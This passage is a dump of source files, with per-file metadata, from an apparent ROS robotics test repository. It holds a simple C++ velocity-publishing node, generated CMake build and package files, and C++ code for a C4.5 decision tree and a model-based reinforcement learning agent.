\"std_msgs/String.h\"\n#include <geometry_msgs/Twist.h>\n#include <sensor_msgs/LaserScan.h>\n\n#include <sstream>\n\nvoid laserCallback(const sensor_msgs::LaserScan::ConstPtr& msg)\n{\n ROS_INFO(\"I heard: [%f]\", msg->scan_time);\n}\n\n\nint main(int argc, char **argv)\n{\n ros::init(argc, argv, \"talker\");\n ros::NodeHandle n;\n ros::Publisher chatter_pub = n.advertise<geometry_msgs::Twist>(\"cmd_vel\", 1000); \n ros::Rate loop_rate(10);\nros::init(argc, argv, \"listener\");\n\n \n\n\n \n ros::Subscriber sub = n.subscribe(\"mybot/laser/scan\", 1000, laserCallback);\n\n\n int count = 0;\n while (ros::ok())\n {\n geometry_msgs::Twist msg;\n msg.linear.x = 1;\n msg.angular.z = 5; \n chatter_pub.publish(msg);\n ros::spinOnce();\n loop_rate.sleep();\n ++count;\n\n\n }\n\n \n\n \n return 0;\n}\n\n\n" }, { "alpha_fraction": 0.7861271500587463, "alphanum_fraction": 0.7880539298057556, "avg_line_length": 47.65625, "blob_id": "cebbbd6855f05734b6993dd9fa7c41f721edad78", "content_id": "1f30d5cfe4b74e63e5e0af3f20d9d45d2eaab774", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 1557, "license_type": "no_license", "max_line_length": 180, "num_lines": 32, "path": "/build/gmapping/scanmatcher/CMakeFiles/scanmatcher.dir/DependInfo.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# The set of languages for which implicit dependencies are needed:\nset(CMAKE_DEPENDS_LANGUAGES\n \"CXX\"\n )\n# The set of files for implicit dependencies of each language:\nset(CMAKE_DEPENDS_CHECK_CXX\n \"/home/justin/ros_test/src/gmapping/scanmatcher/eig3.cpp\" \"/home/justin/ros_test/build/gmapping/scanmatcher/CMakeFiles/scanmatcher.dir/eig3.cpp.o\"\n \"/home/justin/ros_test/src/gmapping/scanmatcher/scanmatcher.cpp\" \"/home/justin/ros_test/build/gmapping/scanmatcher/CMakeFiles/scanmatcher.dir/scanmatcher.cpp.o\"\n \"/home/justin/ros_test/src/gmapping/scanmatcher/scanmatcherprocessor.cpp\" \"/home/justin/ros_test/build/gmapping/scanmatcher/CMakeFiles/scanmatcher.dir/scanmatcherprocessor.cpp.o\"\n \"/home/justin/ros_test/src/gmapping/scanmatcher/smmap.cpp\" \"/home/justin/ros_test/build/gmapping/scanmatcher/CMakeFiles/scanmatcher.dir/smmap.cpp.o\"\n )\nset(CMAKE_CXX_COMPILER_ID \"GNU\")\n\n# Preprocessor definitions for this target.\nset(CMAKE_TARGET_DEFINITIONS_CXX\n \"ROS_BUILD_SHARED_LIBS=1\"\n )\n\n# The include file search paths:\nset(CMAKE_CXX_TARGET_INCLUDE_PATH\n \"/home/justin/ros_test/src/gmapping/include\"\n )\n\n# Targets to which this target links.\nset(CMAKE_TARGET_LINKED_INFO_FILES\n \"/home/justin/ros_test/build/gmapping/sensor/sensor_range/CMakeFiles/sensor_range.dir/DependInfo.cmake\"\n \"/home/justin/ros_test/build/gmapping/utils/CMakeFiles/utils.dir/DependInfo.cmake\"\n \"/home/justin/ros_test/build/gmapping/sensor/sensor_base/CMakeFiles/sensor_base.dir/DependInfo.cmake\"\n )\n\n# Fortran module output directory.\nset(CMAKE_Fortran_TARGET_MODULE_DIR \"\")\n" }, { "alpha_fraction": 0.7420814633369446, "alphanum_fraction": 0.7511312365531921, "avg_line_length": 54.3125, "blob_id": "b3539d35207dec78b8694097e2a1adc02c4a4002", "content_id": "cac9d0d3726563ed4869a3bdbc2ab5dd9ff65fbc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 884, "license_type": "no_license", "max_line_length": 99, "num_lines": 16, "path": "/build/nav_stack_example/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"nav_stack_example\")\nset(nav_stack_example_VERSION \"0.0.0\")\nset(nav_stack_example_MAINTAINER \"abc <[email protected]>\")\nset(nav_stack_example_PACKAGE_FORMAT \"1\")\nset(nav_stack_example_BUILD_DEPENDS \"costmap_2d\" \"navfn\" \"roscpp\" \"tf\" \"base_local_planner\")\nset(nav_stack_example_BUILD_EXPORT_DEPENDS \"costmap_2d\" \"navfn\" \"roscpp\" \"tf\" \"base_local_planner\")\nset(nav_stack_example_BUILDTOOL_DEPENDS \"catkin\")\nset(nav_stack_example_BUILDTOOL_EXPORT_DEPENDS )\nset(nav_stack_example_EXEC_DEPENDS \"costmap_2d\" \"navfn\" \"roscpp\" \"tf\" \"base_local_planner\")\nset(nav_stack_example_RUN_DEPENDS \"costmap_2d\" \"navfn\" \"roscpp\" \"tf\" \"base_local_planner\")\nset(nav_stack_example_TEST_DEPENDS )\nset(nav_stack_example_DOC_DEPENDS )\nset(nav_stack_example_URL_WEBSITE \"\")\nset(nav_stack_example_URL_BUGTRACKER \"\")\nset(nav_stack_example_URL_REPOSITORY \"\")\nset(nav_stack_example_DEPRECATED \"\")" }, { "alpha_fraction": 0.765625, "alphanum_fraction": 0.765625, "avg_line_length": 37.400001525878906, "blob_id": "fd56ad42e9fddba9b879632e693dda8eca6b708b", "content_id": "96604866ed53486691b9d2ac85cebf22bb4c30c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 384, "license_type": "no_license", "max_line_length": 75, "num_lines": 10, "path": "/build/nav_stack_example/CMakeFiles/nav_stack_node.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/nav_stack_node.dir/src/nav_stack_node.cpp.o\"\n \"/home/justin/ros_test/devel/lib/nav_stack_example/nav_stack_node.pdb\"\n \"/home/justin/ros_test/devel/lib/nav_stack_example/nav_stack_node\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/nav_stack_node.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.6612995862960815, "alphanum_fraction": 0.6694939732551575, "avg_line_length": 29.9022216796875, "blob_id": "da0d26b5a6cd69d4820b9f46594bca47c24f6f65", "content_id": "e8cb50f9c3a67773a68c78b3cb71a1ac434528f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6956, "license_type": "no_license", "max_line_length": 188, "num_lines": 225, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/C45Tree.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file C45Tree.hh\n Defines the C4.5 decision tree class.\n This is an implementation of C4.5 decision trees described in:\n J. R. Quinlan, \"Induction of decision trees,\" Machine Learning, vol 1. pp 81-106, 1986.\n \\author Todd Hester\n*/\n\n\n#ifndef _C45TREE_HH_\n#define _C45TREE_HH_\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n#include <vector>\n#include <set>\n#include <map>\n\n#define N_C45_EXP 200000\n#define N_C45_NODES 2500\n\n#define BUILD_EVERY 0\n#define BUILD_ON_ERROR 1\n#define BUILD_EVERY_N 2\n#define BUILD_ON_TERMINAL 3\n#define BUILD_ON_TERMINAL_AND_ERROR 4\n\n\n/** C4.5 decision tree class. */\nclass C45Tree: public Classifier {\n\npublic:\n\n /** Default constructor \n \\param id id of the tree for debug\n \\param trainMode build every step? only on errors? every freq steps?\n \\param trainFreq frequency of model building if using latter mode\n \\param m # of visits for a given state-action to be considered known\n \\param featPct pct of features to remove from set used for each tree split\n \\param rng Random Number Generator \n */\n C45Tree(int id, int trainMode, int trainFreq, int m, \n\t float featPct, Random rng);\n\n /** Copy constructor */\n C45Tree(const C45Tree&);\n\n ~C45Tree();\n\n // structs to be defined\n struct tree_node;\n struct tree_experience;\n \n /** Make a copy of the subtree from origNode to newNode */\n void copyTree(tree_node* newNode, tree_node* origNode);\n\n virtual C45Tree* getCopy();\n\n /** Tree node struct. For decision nodes, it contains split information and pointers to child nodes. For leaf nodes, it contains all outputs that went into this leaf during trainiing. */\n struct tree_node {\n int id;\n\n // split criterion\n int dim;\n float val;\n bool type;\n\n // set of all outputs seen at this leaf/node\n std::map<float,int> outputs;\n int nInstances;\n\n // next nodes in tree\n tree_node *l;\n tree_node *r;\n\n bool leaf;\n };\n\n /** Experiences the tree is trained on. A vector of inputs and one float output to predict */\n struct tree_experience {\n std::vector<float> input;\n float output;\n };\n \n /** The types of splits. Split on ONLY meaning is input == x, or CUT meaning is input > x */\n enum splitTypes{\n ONLY,\n CUT\n };\n\n virtual bool trainInstance(classPair &instance);\n virtual bool trainInstances(std::vector<classPair> &instances);\n virtual void testInstance(const std::vector<float> &input, std::map<float, float>* retval);\n virtual float getConf(const std::vector<float> &input);\n\n /** Build the tree with the given instances from the given tree node */\n bool buildTree(tree_node* node, const std::vector<tree_experience*> &instances, bool changed);\n\n // helper functions\n /** Initialize the tree */\n void initTree();\n\n /** Rebuild the tree */\n bool rebuildTree();\n\n /** Initialize the tree_node struct */\n void initTreeNode(tree_node* node);\n\n /** Traverse the tree to a leaf for the given input */\n tree_node* traverseTree(tree_node* node, const std::vector<float> &input);\n\n /** Get the correct child of this node for a given input */\n tree_node* getCorrectChild(tree_node* node, const std::vector<float> &input);\n\n /** Determine if the input passes the test defined by dim, val, type */\n bool passTest(int dim, float val, bool type, const std::vector<float> &input);\n\n /** Calculate the gain ratio for the given split of instances */\n float calcGainRatio(int dim, float val, bool type,\n\t\t const std::vector<tree_experience*> &instances, float I,\n\t\t std::vector<tree_experience*> &left,\n\t\t std::vector<tree_experience*> &right);\n\n /** Returns an array of the values of features at the index dim, sorted from lowest to highest */\n float* sortOnDim(int dim, const std::vector<tree_experience*> &instances);\n\n /** Get all the unique values of the features on dimension dim */\n std::set<float> getUniques(int dim, const std::vector<tree_experience*> &instances, float & minVal, float& maxVal);\n\n /** Delete this tree node and all nodes below it in the tree. */\n void deleteTree(tree_node* node);\n\n /** Calculate I(P) */\n float calcIofP(float* P, int size);\n\n /** Calculate I(P) for set. */\n float calcIforSet(const std::vector<tree_experience*> &instances);\n\n /** Print the tree for debug purposes. */\n void printTree(tree_node *t, int level);\n\n /** Test the possible splits for the given set of instances */\n void testPossibleSplits(const std::vector<tree_experience*> &instances, float *bestGainRatio, int *bestDim, \n float *bestVal, bool *bestType,\n std::vector<tree_experience*> *bestLeft, std::vector<tree_experience*> *bestRight);\n\n /** Implement the given split at the given node */\n bool implementSplit(tree_node* node, float bestGainRatio, int bestDim,\n float bestVal, bool bestType, \n const std::vector<tree_experience*> &left, \n const std::vector<tree_experience*> &right, bool changed);\n\n /** Compare the current split to determine if it is the best split. */\n void compareSplits(float gainRatio, int dim, float val, bool type, \n const std::vector<tree_experience*> &left, \n const std::vector<tree_experience*> &right,\n int *nties, float *bestGainRatio, int *bestDim, \n float *bestVal, bool *bestType,\n std::vector<tree_experience*> *bestLeft, \n std::vector<tree_experience*> *bestRight);\n\n /** Get the probability distribution for the given leaf node. */\n void outputProbabilities(tree_node *t, std::map<float, float>* retval);\n\n /** Make the given node into a leaf node. */\n bool makeLeaf(tree_node* node);\n\n /** Allocate a new node from our pre-allocated store of tree nodes */\n tree_node* allocateNode();\n\n /** Return tree node back to store of nodes */\n void deallocateNode(tree_node* node);\n\n /** Initialize our store of tree nodes */\n void initNodes();\n\n\n bool INCDEBUG;\n bool DTDEBUG;\n bool SPLITDEBUG;\n bool STOCH_DEBUG;\n int nExperiences;\n bool NODEDEBUG;\n bool COPYDEBUG;\n\n float SPLIT_MARGIN;\n float MIN_GAIN_RATIO; \n\nprivate:\n\n const int id;\n \n const int mode;\n const int freq;\n const int M;\n const float featPct; \n const bool ALLOW_ONLY_SPLITS;\n\n Random rng;\n\n int nOutput;\n int nnodes;\n bool hadError;\n int maxnodes;\n int totalnodes;\n\n /** Vector of all experiences used to train the tree */\n std::vector<tree_experience*> experiences;\n\n /** Pre-allocated array of experiences to be filled during training. */\n tree_experience allExp[N_C45_EXP];\n\n /** Pre-allocated array of tree nodes to be used for tree */\n tree_node allNodes[N_C45_NODES];\n std::vector<int> freeNodes;\n\n // TREE\n /** Pointer to root node of tree. */\n tree_node* root;\n /** Pointer to last node of tree used (leaf used in last prediction made). */\n tree_node* lastNode;\n\n};\n\n\n#endif\n \n" }, { "alpha_fraction": 0.7613292932510376, "alphanum_fraction": 0.7613292932510376, "avg_line_length": 32.099998474121094, "blob_id": "6810efd9682e8a6d915f8f08dc52fd25057e19d6", "content_id": "742b1d943a88b7a9c12a899c4d89e5ede17264a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 331, "license_type": "no_license", "max_line_length": 70, "num_lines": 10, "path": "/build/roundbot_control/CMakeFiles/motor_sim.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/motor_sim.dir/src/MotorSim.cpp.o\"\n \"/home/justin/ros_test/devel/lib/libmotor_sim.pdb\"\n \"/home/justin/ros_test/devel/lib/libmotor_sim.so\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/motor_sim.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.5917937755584717, "alphanum_fraction": 0.6034324169158936, "avg_line_length": 29.355289459228516, "blob_id": "c47f363e4bfe11dd51bb903df77e448916578205", "content_id": "8a60033420c398c4f1e57f096b4c77cfa55d13d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 15208, "license_type": "no_license", "max_line_length": 171, "num_lines": 501, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Agent/ModelBasedAgent.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file ModelBasedAgent.cc\n Implements the ModelBasedAgent class\n \\author Todd Hester\n*/\n\n#include <rl_agent/ModelBasedAgent.hh>\n#include <algorithm>\n\n#include <sys/time.h>\n\n// planners\n#include \"../Planners/ValueIteration.hh\"\n#include \"../Planners/PolicyIteration.hh\"\n#include \"../Planners/PrioritizedSweeping.hh\"\n#include \"../Planners/ETUCT.hh\"\n#include \"../Planners/ParallelETUCT.hh\"\n#include \"../Planners/PO_ETUCT.hh\"\n#include \"../Planners/PO_ParallelETUCT.hh\"\n#include \"../Planners/MBS.hh\"\n\n// models\n#include \"../Models/RMaxModel.hh\"\n#include \"../Models/FactoredModel.hh\"\n#include \"../Models/ExplorationModel.hh\"\n\nModelBasedAgent::ModelBasedAgent(int numactions, float gamma, \n float rmax, float rrange,\n int modelType,\tint exploreType, \n int predType, int nModels, int plannerType, \n float epsilon, float lambda, float MAX_TIME,\n float m, const std::vector<float> &featmin,\n const std::vector<float> &featmax, \n std::vector<int> nstatesPerDim, int history, float v, float n,\n bool depTrans, bool relTrans, float featPct, bool stoch, bool episodic,\n Random rng):\n featmin(featmin), featmax(featmax),\n numactions(numactions), gamma(gamma), rmax(rmax), rrange(rrange),\n qmax(rmax/(1.0-gamma)), \n modelType(modelType), exploreType(exploreType), \n predType(predType), nModels(nModels), plannerType(plannerType),\n epsilon(epsilon), lambda(lambda), MAX_TIME(MAX_TIME),\n M(m), statesPerDim(nstatesPerDim), history(history), v(v), n(n),\n depTrans(depTrans), relTrans(relTrans), featPct(featPct),\n stoch(stoch), episodic(episodic), rng(rng)\n{\n\n if (statesPerDim[0] > 0){\n cout << \"MBA: Planner will use states discretized by various amounts per dim with continuous model\" << endl;\n }\n\n initParams();\n\n}\n\n\n\nModelBasedAgent::ModelBasedAgent(int numactions, float gamma, \n float rmax, float rrange,\n int modelType,\tint exploreType, \n int predType, int nModels, int plannerType, \n float epsilon, float lambda, float MAX_TIME,\n float m, const std::vector<float> &featmin,\n const std::vector<float> &featmax, \n int nstatesPerDim, int history, float v, float n,\n bool depTrans, bool relTrans, float featPct,\n\t\t\t\t bool stoch, bool episodic, Random rng):\n featmin(featmin), featmax(featmax),\n numactions(numactions), gamma(gamma), rmax(rmax), rrange(rrange),\n qmax(rmax/(1.0-gamma)), \n modelType(modelType), exploreType(exploreType), \n predType(predType), nModels(nModels), plannerType(plannerType),\n epsilon(epsilon), lambda(lambda), MAX_TIME(MAX_TIME),\n M(m), statesPerDim(featmin.size(),nstatesPerDim), history(history), v(v), n(n),\n depTrans(depTrans), relTrans(relTrans), featPct(featPct),\n stoch(stoch), episodic(episodic), rng(rng)\n{\n\n if (statesPerDim[0] > 0){\n cout << \"MBA: Planner will use states discretized by \" << statesPerDim[0] << \" with continuous model\" << endl;\n }\n\n initParams();\n\n}\n\n\nvoid ModelBasedAgent::initParams(){\n\n nstates = 0;\n nactions = 0;\n\n model = NULL;\n planner = NULL;\n\n modelUpdateTime = 0.0;\n planningTime = 0.0;\n actionTime = 0.0;\n \n modelChanged = false;\n\n \n BATCH_FREQ = 1; //50;\n\n TIMEDEBUG = false; //true;\n AGENTDEBUG = false;\n ACTDEBUG = false;//true;\n SIMPLEDEBUG = false; //true; //false; //true;\n\n // check\n if (qmax <= 0.1 && (exploreType == TWO_MODE_PLUS_R || \n\t\t exploreType == CONTINUOUS_BONUS_R || \n\t\t exploreType == CONTINUOUS_BONUS ||\n\t\t exploreType == THRESHOLD_BONUS_R)) {\n std::cerr << \"For this exploration type, rmax needs to be an additional positive bonus value, not a replacement for the q-value\" << endl;\n exit(-1);\n }\n\n if (exploreType == TWO_MODE || exploreType == TWO_MODE_PLUS_R){\n std::cerr << \"This exploration type does not work in this agent.\" << endl;\n exit(-1);\n }\n\n seeding = false;\n \n if (SIMPLEDEBUG)\n cout << \"qmax: \" << qmax << endl;\n\n}\n\nModelBasedAgent::~ModelBasedAgent() {\n delete planner;\n delete model;\n featmin.clear();\n featmax.clear();\n prevstate.clear();\n}\n\nint ModelBasedAgent::first_action(const std::vector<float> &s) {\n if (AGENTDEBUG) cout << \"first_action(s)\" << endl;\n\n if (model == NULL)\n initModel(s.size());\n\n planner->setFirst();\n\n // in case we didn't do it after seeding\n if (plannerType == PARALLEL_ET_UCT || plannerType == PAR_ETUCT_ACTUAL)\n planner->planOnNewModel();\n\n // choose an action\n int act = chooseAction(s);\n\n // save curr state/action for next time\n saveStateAndAction(s, act);\n\n if (ACTDEBUG)\n cout << \"Took action \" << act << \" from state \" \n\t << s[0] << \",\" << s[1] \n\t << endl;\n\n // return that action\n return act;\n\n}\n\nint ModelBasedAgent::next_action(float r, const std::vector<float> &s) {\n if (AGENTDEBUG) {\n cout << \"next_action(r = \" << r \n\t << \", s = \" << &s << \")\" << endl;\n }\n \n if (SIMPLEDEBUG) cout << \"Got Reward \" << r;\n \n // update our models\n // this is where we possibly plan again if model changes\n updateWithNewExperience(prevstate, s, prevact, r, false);\n\n // choose an action\n int act = chooseAction(s);\n \n // save curr state/action for next time\n saveStateAndAction(s, act);\n\n if (ACTDEBUG){\n cout << \"Took action \" << act << \" from state \" \n\t << (s)[0];\n for (unsigned i = 1; i < s.size(); i++){\n cout << \",\" << (s)[i];\n }\n cout << endl;\n }\n\n // return that action\n return act;\n\n}\n\nvoid ModelBasedAgent::last_action(float r) {\n if (AGENTDEBUG) cout << \"last_action(r = \" << r\n\t\t << \")\" << endl;\n\n if (AGENTDEBUG) cout << \"Got Reward \" << r;\n\n // update our models\n // this is where we possibly plan again if model changes\n updateWithNewExperience(prevstate, prevstate, prevact, r, true);\n\n}\n\n\n\n/////////////////////////////\n// Functional functions :) //\n/////////////////////////////\n\n\nvoid ModelBasedAgent::initModel(int nfactors){\n if ( AGENTDEBUG) cout << \"initModel nfactors: \" << nfactors << endl;\n \n bool needConf = \n (exploreType != NO_EXPLORE && exploreType != EXPLORE_UNKNOWN && \n exploreType != EPSILONGREEDY && exploreType != UNVISITED_BONUS &&\n exploreType != UNVISITED_ACT_BONUS);\n\n std::vector<float> featRange(featmax.size(), 0);\n for (unsigned i = 0; i < featmax.size(); i++){\n featRange[i] = featmax[i] - featmin[i];\n cout << \"feature \" << i << \" has range \" << featRange[i] << endl;\n }\n cout << \"reward range: \" << rrange << endl;\n\n float treeRangePct = 0.0001;\n \n // m5 tree\n if (modelType == M5MULTI || modelType == M5SINGLE ||\n modelType == M5ALLMULTI || modelType == M5ALLSINGLE ||\n modelType == ALLM5TYPES){\n treeRangePct = 0.0001;\n }\n \n // just to ensure the diff models are on different random values\n for (int i = 0; i < modelType; i++){\n rng.uniform(0, 1);\n }\n \n // 0 - traditional rmax model (unknown until m visits, then ML)\n if (modelType == RMAX) {\n model = new RMaxModel(M, numactions, rng);\n }\n \n // any tree or stump will be mdptree\n else if (modelType == C45TREE || modelType == STUMP ||\n modelType == M5MULTI || modelType == M5SINGLE ||\n modelType == M5ALLMULTI || modelType == M5ALLSINGLE ||\n modelType == ALLM5TYPES ||\n modelType == LSTMULTI || modelType == LSTSINGLE ||\n modelType == GPREGRESS || modelType == GPTREE){\n\n model = new FactoredModel(0,numactions, M, modelType, predType, nModels, treeRangePct, featRange, rrange, needConf, depTrans, relTrans, featPct, stoch, episodic, rng);\n }\n \n /*\n else if (modelType == GPREGRESS){\n model = new GPmdp(0, numactions, relTrans, rng);\n }\n */\n\n // pass model into exploration model wrapper model\n if (exploreType != NO_EXPLORE && exploreType != EPSILONGREEDY){\n MDPModel* m2 = model;\n\n model = new ExplorationModel(m2, modelType, exploreType,\n predType, nModels, M, numactions,\n rmax, qmax, rrange, nfactors, v, n,\n featmax, featmin, rng);\n \n }\n \n initPlanner();\n planner->setModel(model);\n\n}\n\nvoid ModelBasedAgent::initPlanner(){\n if (AGENTDEBUG) cout << \"InitPlanner type: \" << plannerType << endl;\n\n int max_path = 200; //500;\n\n // init planner based on type\n if (plannerType == VALUE_ITERATION){\n planner = new ValueIteration(numactions, gamma, 500000, 10.0, modelType, featmax, featmin, statesPerDim, rng);\n }\n else if (plannerType == MBS_VI){\n planner = new MBS(numactions, gamma, 500000, 10.0, modelType, featmax, featmin, statesPerDim, history, rng);\n }\n else if (plannerType == POLICY_ITERATION){\n planner = new PolicyIteration(numactions, gamma, 500000, 10.0, modelType, featmax, featmin, statesPerDim, rng);\n }\n else if (plannerType == PRI_SWEEPING){\n planner = new PrioritizedSweeping(numactions, gamma, 10.0, true, modelType, featmax, featmin, rng);\n }\n else if (plannerType == MOD_PRI_SWEEPING){\n planner = new PrioritizedSweeping(numactions, gamma, 10.0, false, modelType, featmax, featmin, rng);\n }\n else if (plannerType == ET_UCT){\n planner = new ETUCT(numactions, gamma, rrange, lambda, 500000, MAX_TIME, max_path, modelType, featmax, featmin, statesPerDim, false, history, rng);\n }\n else if (plannerType == POMDP_ETUCT){\n planner = new PO_ETUCT(numactions, gamma, rrange, lambda, 500000, MAX_TIME, max_path, modelType, featmax, featmin, statesPerDim, true, history, rng);\n }\n else if (plannerType == POMDP_PAR_ETUCT){\n planner = new PO_ParallelETUCT(numactions, gamma, rrange, lambda, 500000, MAX_TIME, max_path, modelType, featmax, featmin, statesPerDim, true, history, rng);\n }\n else if (plannerType == ET_UCT_ACTUAL){\n planner = new ETUCT(numactions, gamma, rrange, lambda, 500000, MAX_TIME, max_path, modelType, featmax, featmin, statesPerDim, true, history, rng);\n }\n else if (plannerType == PARALLEL_ET_UCT){\n planner = new ParallelETUCT(numactions, gamma, rrange, lambda, 500000, MAX_TIME, max_path, modelType, featmax, featmin, statesPerDim, false, history, rng);\n }\n else if (plannerType == PAR_ETUCT_ACTUAL){\n planner = new ParallelETUCT(numactions, gamma, rrange, lambda, 500000, MAX_TIME, max_path, modelType, featmax, featmin, statesPerDim, true, history, rng);\n }\n else if (plannerType == ET_UCT_L1){\n planner = new ETUCT(numactions, gamma, rrange, 1.0, 500000, MAX_TIME, max_path, modelType, featmax, featmin, statesPerDim, false, history, rng);\n }\n else {\n std::cerr << \"ERROR: invalid planner type: \" << plannerType << endl;\n exit(-1);\n }\n\n}\n\nvoid ModelBasedAgent::updateWithNewExperience(const std::vector<float> &last, \n const std::vector<float> &curr, \n int lastact, float reward, \n bool terminal){\n if (AGENTDEBUG) cout << \"updateWithNewExperience(last = \" << &last \n << \", curr = \" << &curr\n << \", lastact = \" << lastact \n << \", r = \" << reward\n << \", t = \" << terminal\n << \")\" << endl;\n \n double initTime = 0;\n double timeTwo = 0;\n double timeThree = 0;\n\n if (model == NULL)\n initModel(last.size());\n\n // update our models and see if they change\n if (false || TIMEDEBUG) initTime = getSeconds();\n\n modelChanged = planner->updateModelWithExperience(last, lastact, curr, reward, terminal) || modelChanged;\n\n if (false || TIMEDEBUG) timeTwo = getSeconds();\n\n if (AGENTDEBUG) cout << \"Agent Added exp: \" << modelChanged << endl;\n\n // tell the planner to update with the updated model\n if ((modelChanged && (!seeding || modelType == RMAX) \n && (nactions % BATCH_FREQ == 0))){\n planner->planOnNewModel();\n modelChanged = false;\n }\n\n if (TIMEDEBUG){\n\n timeThree = getSeconds();\n \n planningTime += (timeThree-timeTwo);\n modelUpdateTime += (timeTwo - initTime);\n \n if (nactions % 10 == 0){\n cout << nactions \n\t << \" UpdateModel \" << modelUpdateTime/ (float)nactions\n\t << \" createPolicy \" << planningTime/(float)nactions << endl;\n \n }\n }\n\n\n}\n\n\nint ModelBasedAgent::chooseAction(const std::vector<float> &s){\n if (AGENTDEBUG) cout << \"chooseAction(s = \" << &s \n\t\t << \")\" << endl;\n\n double initTime = 0;\n double timeTwo = 0;\n\n // get action to take from planner\n if (TIMEDEBUG) initTime = getSeconds();\n int act = planner->getBestAction(s);\n if (TIMEDEBUG) {\n timeTwo = getSeconds();\n planningTime += (timeTwo - initTime);\n }\n\n if (exploreType == EPSILONGREEDY && rng.bernoulli(epsilon)){\n //if (true) cout << \"Random action\" << endl;\n act = rng.uniformDiscrete(0, numactions-1);\n }\n\n if (SIMPLEDEBUG){\n cout << endl << \"Action \" << nactions\n\t << \": State \" << (s)[0];\n for (unsigned i = 1; i < s.size(); i++){\n cout << \",\" << (s)[i];\n }\n cout << \", Took action \" << act << \", \";\n }\n\n nactions++;\n\n // return index of action\n return act;\n}\n\nvoid ModelBasedAgent::saveStateAndAction(const std::vector<float> &s, int act){\n if (AGENTDEBUG) cout << \"saveStateAndAction(s = \" << &s \n\t\t << \", act = \" << act\n\t\t << \")\" << endl;\n prevstate = s;\n prevact = act;\n\n}\n\n\n\n\n\ndouble ModelBasedAgent::getSeconds(){\n struct timezone tz;\n timeval timeT;\n gettimeofday(&timeT, &tz);\n return timeT.tv_sec + (timeT.tv_usec / 1000000.0);\n}\n\n\nvoid ModelBasedAgent::seedExp(std::vector<experience> seeds){\n if (AGENTDEBUG) cout << \"seed experiences\" << endl;\n\n if (seeds.size() == 0) return;\n\n if (model == NULL)\n initModel(seeds[0].s.size());\n\n seeding = true;\n planner->setSeeding(true);\n\n // for each seeding experience, update our model\n for (unsigned i = 0; i < seeds.size(); i++){\n experience e = seeds[i];\n\n // update our models\n // this is where we possibly run qmax again if model(s) change\n updateWithNewExperience(e.s, e.next, e.act, e.reward, e.terminal);\n\n /*\n cout << \"Seeding with experience \" << i << endl;\n cout << \"last: \" << (*curr)[0] << \", \" << (*curr)[1] << \", \" \n\t << (*curr)[2] << endl;\n cout << \"act: \" << e.act << \" r: \" << e.reward << endl;\n cout << \"next: \" << (*next)[0] << \", \" << (*next)[1] << \", \" \n\t << (*next)[2] << \", \" << e.terminal << endl;\n */\n\n }\n\n seeding = false;\n planner->setSeeding(false);\n\n if (seeds.size() > 0)\n planner->planOnNewModel();\n\n}\n\n\n void ModelBasedAgent::setDebug(bool d){\n AGENTDEBUG = d;\n }\n\nvoid ModelBasedAgent::savePolicy(const char* filename){\n planner->savePolicy(filename);\n}\n\n\n\nvoid ModelBasedAgent::logValues(ofstream *of, int xmin, int xmax, int ymin, int ymax){\n\n // call planner\n if (plannerType == PARALLEL_ET_UCT){\n ((ParallelETUCT*)planner)->logValues(of, xmin, xmax, ymin, ymax);\n }\n if (plannerType == ET_UCT){\n ((ETUCT*)planner)->logValues(of, xmin, xmax, ymin, ymax);\n }\n\n}\n" }, { "alpha_fraction": 0.7727272510528564, "alphanum_fraction": 0.7792207598686218, "avg_line_length": 37.5625, "blob_id": "79c1da0170b91951169d82c1095eb04c36e5e444", "content_id": "68e128ef79310769af70a796ca9966df8af3654f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 616, "license_type": "no_license", "max_line_length": 46, "num_lines": 16, "path": "/build/hector_example/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"hector_example\")\nset(hector_example_VERSION \"0.0.0\")\nset(hector_example_MAINTAINER \"abc <[email protected]>\")\nset(hector_example_PACKAGE_FORMAT \"1\")\nset(hector_example_BUILD_DEPENDS )\nset(hector_example_BUILD_EXPORT_DEPENDS )\nset(hector_example_BUILDTOOL_DEPENDS \"catkin\")\nset(hector_example_BUILDTOOL_EXPORT_DEPENDS )\nset(hector_example_EXEC_DEPENDS )\nset(hector_example_RUN_DEPENDS )\nset(hector_example_TEST_DEPENDS )\nset(hector_example_DOC_DEPENDS )\nset(hector_example_URL_WEBSITE \"\")\nset(hector_example_URL_BUGTRACKER \"\")\nset(hector_example_URL_REPOSITORY \"\")\nset(hector_example_DEPRECATED \"\")" }, { "alpha_fraction": 0.6762574315071106, "alphanum_fraction": 0.6888320446014404, "avg_line_length": 23.825397491455078, "blob_id": "11278b6e630af56415bb4bd2be2cc0efb98a51af", "content_id": "d86f037000d0514cdd240a3f73ab317ff4b3f50c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4692, "license_type": 